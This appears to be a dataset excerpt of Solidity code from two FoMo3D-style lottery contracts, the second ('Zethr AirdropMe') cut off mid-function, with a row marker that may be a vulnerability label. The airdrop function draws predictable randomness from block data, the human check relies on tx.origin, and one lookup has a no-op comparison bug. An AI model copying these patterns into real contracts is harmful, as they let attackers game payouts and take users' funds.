plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 498 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract DiviesCTR {
function deposit() public payable;
}
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
otherFoMo3D private otherF3D_;
DiviesCTR constant private Divies = DiviesCTR(0x95CD217Da207e35E3Ac4cade6e766D5FB6fDAf8d);
address constant private FeeAddr = 0xb51d0DF324c513Cf07efD075Cc5bccA1D0F211Ab;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x77abd49884c36193e7d1fccc6898fcdbd9d23ecc);
string constant public name = "Zethr AirdropMe";
string constant public symbol = "ZTHA";
uint256 private rndExtra_ = 30;
uint256 private rndGap_ = 1 hours;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 60 seconds;
uint256 constant private rndMax_ = 8 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(56,10);
fees_[1] = F3Ddatasets.TeamFee(56,10);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(56,10);
potSplit_[0] = F3Ddatasets.PotSplit(20,20);
potSplit_[1] = F3Ddatasets.PotSplit(20,20);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(20,20);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
require(msg.sender == tx.origin, "sorry humans only - FOR REAL THIS TIME");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
